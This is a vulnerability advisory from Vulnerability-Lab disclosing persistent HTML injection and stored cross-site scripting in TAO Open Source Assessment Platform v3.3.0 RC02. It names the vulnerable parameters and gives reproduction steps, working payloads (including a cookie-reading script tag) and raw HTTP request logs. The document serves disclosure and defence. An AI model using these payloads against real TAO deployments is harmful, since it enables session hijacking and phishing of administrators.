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Document Title:  
===============  
TAO Open Source Assessment Platform v3.3.0 RC02 - Multiple Web  
Vulnerabilities  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2215  
  
  
Release Date:  
=============  
2020-04-16  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2215  
  
  
Common Vulnerability Scoring System:  
====================================  
4  
  
  
Vulnerability Class:  
====================  
Multiple  
  
  
Current Estimated Price:  
========================  
500€ - 1.000€  
  
  
Product & Service Introduction:  
===============================  
Accelerating innovation in digital assessment. The TAO assessment  
platform gives you the freedom, control, and  
support to evolve with today's learners. For organizations who want the  
freedom to control their assessment  
software – from authoring to delivery to reporting.  
  
(Copy of the Homepage: https://www.taotesting.com/product/ )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered multiple  
cross site vulnerabilities in the TAO Open Source Assessment Platform  
v3.3.0 RC02.  
  
  
Affected Product(s):  
====================  
Product: TAO Open Source Assessment Platform v3.3.0 RC02  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2020-04-16: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted authentication (user/moderator) - User privileges  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
1.1  
A html injection web vulnerability has been discovered in the TAO Open  
Source Assessment Platform v3.3.0 RC02 web-application.  
The vulnerability allows remote attackers to inject own malicious html  
codes with persistent attack vector to compromise browser  
to web-application requests from the application-side.  
  
The html inject web vulnerability is located in the `userFirstName`,  
`userLastName`, `userMail`, `password2`, and `password3`  
parameters of the user account input field. The request method to inject  
is POST and the attack vector is application-side.  
Remote attackers are able to inject html code for the user account  
credentials to provoke an execution within the main manage  
user listing.  
  
Successful exploitation of the web vulnerability results in persistent  
phishing attacks, persistent external redirects to malicious  
source and persistent manipulation of affected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Manage Users  
  
Vulnerable Parameter(s):  
[+] userFirstName  
[+] userLastName  
[+] userMail  
[+] password2  
[+] password3  
  
  
  
1.2  
Multiple persistent cross site web vulnerabilities has been discovered  
in the TAO Open Source Assessment Platform v3.3.0 RC02.  
The vulnerability allows remote attackers to inject own malicious script  
codes with persistent attack vector to compromise browser to  
web-application requests from the application-side.  
  
The persistent vulnerability is located in the content parameter of the  
Rubric Block (Add) module. Attackers are able to inject own malicious  
script code inside of the rubric name value. The attached values will be  
redisplayed in the frontend of tao. The request method to inject is  
POST and the attack vector is located on the application-side. The  
injection point is the Rubric Block (Add) module and the execution occurs  
in the frontend panel when listing the item attribute.  
  
Successful exploitation of the web vulnerability results in session  
hijacking, persistent phishing attacks, persistent external redirects  
to malicious source and persistent manipulation of affected or connected  
application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Rubric Block (Add)  
  
Vulnerable Parameter(s):  
[+] content  
  
  
Proof of Concept (PoC):  
=======================  
1.1  
The persistent html injection web vulnerability can be exploited by  
remote attackers with privileged user account and low user interaction.  
For security demonstration or to reproduce the security web  
vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. Install the application and open the ui  
2. Move on top right to the user button and click manage users  
3. Inject html script code payload into the vulnerable input fields  
4. Save the entry  
5. Open to the manage users listing  
Note: The payloads executes in the table that shows the user account  
values for admins  
6. Successful reproduce of the html inject vulnerability!  
  
  
PoC: Vulnerable Source (Manage Users)  
<th class="actions">Actions</th>  
</tr></thead>  
<tbody>  
<tr data-item-identifier="http_2_localhost_1_tao_0_rdf_3_i1586957152301539">  
<td class="login"><img  
src="https://www.evolution-sec.com/evosec-logo.png"></td>  
<td class="firstname"><img  
src="https://www.evolution-sec.com/evosec-logo.png"></td>  
<td class="lastname"><img  
src="https://www.evolution-sec.com/evosec-logo.png"></td>  
<td class="email"><img  
src="https://www.evolution-sec.com/evosec-logo.png"></td>  
<td class="roles">Test Taker</td>  
<td class="guiLg">German</td>  
<td class="status"><span class="icon-result-ok"></span> enabled</td>  
  
  
--- PoC Session Logs (POST) ---  
http://localhost:89/tao/Users/edit  
Host: localhost:89  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)  
Gecko/20100101 Firefox/74.0  
Accept: text/html, */*; q=0.01  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 1393  
Origin: http://localhost:89  
Connection: keep-alive  
Referer:  
http://localhost:89/tao/Main/index?structure=users&ext=tao&section=edit_user  
Cookie: tao_GP8CPowQ=d6et7oifjip9jnkbc7pgeotsdj;  
tao_0855799=e0a3289004cc96a4ffba7bdcb8515d3665ccd004  
user_form_sent=1&tao.forms.instance=1&token=e0a3289004cc96a4ffba7bdcb8515d3665ccd004&http_2_www_0_w3_0_org_1_2000_1_01_1_  
rdf-schema_3_label=<img  
src="https://www.evolution-sec.com/evosec-logo.png">&id=http://localhost/tao.rdf#i1586957152301539  
&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userFirstName=<img  
src="https://www.evolution-sec.com/evosec-logo.png">  
&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userLastName=<img  
src="https://www.evolution-sec.com/evosec-logo.png">  
&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userMail=<img  
src="https://www.evolution-sec.com/evosec-logo.png">&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userUILg=http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langca&  
http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userRoles_9=http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_DeliveryRole&  
classUri=http_2_www_0_tao_0_lu_1_Ontologies_1_TAOSubject_0_rdf_3_Subject&uri=http_2_localhost_1_tao_0_rdf_3_i1586957152301539  
&password2=<img src="https://www.evolution-sec.com/evosec-logo.png">  
&password3=<img src="https://www.evolution-sec.com/evosec-logo.png">  
-  
POST: HTTP/1.1 200 OK  
Server: Apache/2.4.38 (Win32) PHP/7.2.15  
X-Powered-By: PHP/7.2.15  
Set-Cookie: tao_0855799=a4dd4f04e0f27648dcd6ee3e966cdb380d511079; path=/  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
  
Reference(s):  
http://localhost:89/tao/Users/edit  
http://localhost:89/tao/Main/index  
  
  
  
1.2  
The persistent cross site scripting web vulnerability can be exploited  
by remote attackers with privileged user account with low user interaction.  
For security demonstration or to reproduce the cross site scripting web  
vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. Open and login to the tao application  
2. Move into the test module on top  
3. Add new Rubric Block  
4. Inject script code test payload into the text label content input field  
5. Save the entry and move on the right site to activate  
6. The click on activate includes and executes the content immediatly  
7. Succesful reproduce of the cross site scripting vulnerability!  
  
  
PoC: Vulnerable Source  
<div class="rubricblock-content"><div>asd>"><span  
data-serial="img_l9lmylhuv8hf55xo9z264n"  
class="widget-box widget-inline widget-img" data-qti-class="img"  
contenteditable="false">  
<img data-serial="img_l9lmylhuv8hf55xo9z264n" data-qti-class="img"  
src="" alt="" style=""  
width="100%"></span> <img data-serial="img_rxephz0lwthtejgsndo2f3"  
data-qti-class="img" src="evil.source" alt="" style="">&nbsp;  
>"<script>alert(document.cookie)></script></div></iframe></div></div>  
</li></ol>  
  
  
PoC: Payload  
"<script>alert(document.cookie)></script>  
  
  
--- PoC Session Logs [POST] ---  
http://localhost:89/taoQtiTest/Creator/saveTest?uri=http%3A%2F%2Flocalhost%2Ftao.rdf%23i1586971961942612  
Host: localhost:89  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 9664  
Origin: http://localhost:89  
Connection: keep-alive  
Referer:  
http://localhost:89/tao/Main/index?structure=tests&ext=taoTests&section=authoring  
Cookie: tao_X3GLb7Ke=i89lfik72ts13i8soadgfb64hb;  
tao_f46245c=9ebdee0d0f34b349a61ba23443ecc950c43a0042  
model={"qti-type":"assessmentTest","identifier":"Test-1","title":"QTI  
Example Test","toolName":"tao","toolVersion":"2.7","outcomeDeclarations":[],  
"timeLimits":{"qti-type":"timeLimits","maxTime":7810,"allowLateSubmission":false},"testParts":[{"qti-type":"testPart","identifier":"Introduction","navigationMode":1,"submissionMode":0,"preConditions":[],"branchRules":[],  
"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":0,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":false,  
"validateResponses":false,"allowSkipping":true},"assessmentSections":[{"qti-type":"assessmentSection","title":"Section  
1","visible":true,  
"keepTogether":true,"sectionParts":[{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971963337314","categories":[],  
"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-1","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,  
"itemSessionControl"{"qtitype":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":true,  
"validateResponses":false,"allowSkipping":true},"isLinear":false}],"identifier":"assessmentSection-1","required":true,"fixed":false,"preConditions":[],"branchRules":[],  
"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":true,"validateResponses":  
false,"allowSkipping":true},"index":0}],"testFeedbacks":[],"index":0},{"qti-type":"testPart","identifier":"QTIExamples","navigationMode":0,"submissionMode":0,"preConditions":[],"branchRules":[],"assessmentSections":[{"qti-type":"assessmentSection","title":"Section  
1","visible":false,"keepTogether":true,"sectionParts":[{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971964187315","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-2","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowComment":false,"allowSkipping":true,"validateResponses":false},"isLinear":true,  
"timeLimits":{"maxTime":0,"minTime":0,"allowLateSubmission":false,"qti-type":"timeLimits"}},{"qti-type":"assessmentItemRef",  
"href":"http://localhost/tao.rdf#i1586971965925016","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-3","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":1,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},  
{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i158697196662817","categories":[],"variableMappings":[],"weights":[],  
"templateDefaults":[],"identifier":"item-4","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":2,"itemSessionControl  
":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971967539318","categories"  
:[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-5","required":false,"fixed":false,"preConditions":[],"branchRules":[],  
"index":3,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":  
"http://localhost/tao.rdf#i1586971968508019","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-6",  
"required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":4,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971969922220","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":  
"item-7","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":5,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i158697197087021","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-8","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":6,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971970668622","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":  
"item-9","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":7,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true}],"identifier":"assessmentSection-2","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,  
"itemSessionControl":{"qti-type":"itemSessionControl"},"rubricBlocks":[{"qti-type":"rubricBlock","index":0,"content":[{"qti-type":"div","id":"","class":"","xmlBase":"","lang":"","label":"","content":[{"qti-type":"textRun","content":"asd>"<script>alert(document.cookie)></script>",  
"xmlBase":""}]}],"views":["candidate"],"orderIndex":1,"uid":"rb1","feedback":{"activated":false,"outcome":null,"matchValue":null,"qti-type":"feedback"},  
"class":""}]}],"testFeedbacks":[],"index":1}],"testFeedbacks":[],"scoring":{"modes":{"none":{"key":"none","label":"None","description":"No  
outcome processing.  
Erase the existing rules, if  
any.","qti-type":"none"},"custom":{"key":"custom","label":"Custom","description":"bufu","qti-type":"cut"},"qti-type":"modes"},"scoreIdentifier":"SCORE","weightIdentifier":"","cutScore":0.5,"categoryScore":false,"outcomeProcessing":"none","qti-type":"scoring"}}  
-  
POST: HTTP/1.1 200 OK  
Server: Apache/2.4.38 (Win32) PHP/7.2.15  
X-Powered-By: PHP/7.2.15  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Security-Policy: frame-ancestors 'self'  
Content-Length: 14  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: application/json; charset=UTF-8  
-  
http://localhost:89/tao/Main/evil.source  
Host: localhost:89  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept: image/webp,*/*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer:  
http://localhost:89/tao/Main/index?structure=tests&ext=taoTests&section=authoring  
Cookie: tao_X3GLb7Ke=i89lfik72ts13i8soadgfb64hb;  
tao_f46245c=9ebdee0d0f34b349a61ba23443ecc950c43a0042  
-  
GET: HTTP/1.1 200 OK  
Server: Apache/2.4.38 (Win32) PHP/7.2.15  
X-Powered-By: PHP/7.2.15  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 169  
Keep-Alive: timeout=5, max=99  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
  
Security Risk:  
==============  
1.1  
The security risk of the html inject web vulnerability in the  
web-application is estimated as medium.  
  
1.2  
The security risk of the persistent cross site scripting web  
vulnerability in the web-application is estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab -  
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
Benjamin Kunz Mejri -  
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.  
  
  
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